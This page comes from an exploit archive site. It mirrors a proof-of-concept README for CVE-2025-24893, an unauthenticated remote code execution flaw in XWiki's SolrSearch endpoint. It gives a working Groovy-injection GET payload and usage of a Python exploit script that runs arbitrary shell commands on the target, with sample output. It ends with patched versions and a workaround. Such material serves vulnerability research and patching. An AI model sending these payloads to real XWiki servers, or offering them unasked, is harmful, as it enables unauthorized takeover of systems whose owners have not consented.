Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Source
Associated Vulnerability
Title: Remote code execution as guest via SolrSearchMacros request in xwiki (CVE-2025-24893)
Description:XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.
Readme
# Exploit for CVE-2025-24893

**CVE-2025-24893** is a **critical unauthenticated remote code execution (RCE)** vulnerability affecting the **XWiki Platform**.  
This flaw lets any guest user inject and execute arbitrary **Groovy code**—without authentication—via a specially crafted RSS request to the **SolrSearch** endpoint.

This directly impacts the **confidentiality, integrity, and availability** of the affected system.

### Summary

- **Affected Versions:**
  - XWiki ≥ 5.3-milestone-2 up to < 15.10.11
  - XWiki ≥ 16.0.0-rc-1 up to < 16.4.1
- **CVSS v3.1 Score:** 9.8 (**Critical**)  
  Vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **Exploitability:** Very easy — a single HTTP GET request is enough.

---

> ⚠️ **Disclaimer:**  
>
> This code is strictly intended for educational and research purposes only. Unauthorized use on systems without explicit permission may constitute a violation of the law. 
> The author is not responsible for any misuse or malicious activity involving this tool.


### Proof-of-Concept (POC)

```http
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}
```

---

## Usage Manual for the Exploit Script

This section explains how to set up and run the Python exploit script to take advantage of **CVE-2025-24893**.

---

```c
❯ python3 CVE-2025-24893.py
usage: CVE-2025-24893.py [-h] -u URL -c COMMAND
CVE-2025-24893.py: error: the following arguments are required: -u/--url, -c/--command
```


```c
❯ python3 CVE-2025-24893.py -u http://10.10.10.10:8080 -c 'uname -a'
[*] Sending payload to: http://10.10.10.10:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln("uname -a".execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

[+] Command output 'uname -a':

Linux 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
                                  
```

## Mitigation

### Update to fixed versions:
To patch the vulnerability, update XWiki to one of the following versions:

- **XWiki 15.10.11**
- **XWiki 16.4.1**
- **XWiki 16.5.0 RC1**

---

### Temporary Workaround:
If an update is not immediately possible, you can apply a temporary fix:

1. Edit the file **`SolrSearchMacros.xml`** (located at `Main.SolrSearchMacros`) around **line 955**.
2. Replace the output logic to use the **`rawResponse`** macro with the content type set to `application/xml`.  
   Use the implementation found in `macros.vm` at **line 2824** as a reference.

**References:**
- [NVD - CVE-2025-24893](https://nvd.nist.gov/vuln/detail/CVE-2025-24893)
- [Ionix Blog](https://www.ionix.io/blog/xwiki-remote-code-execution-vulnerability-cve-2025-24893/)
- [Miggo.io](https://www.miggo.io/vulnerability-database/cve/CVE-2025-24893)

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →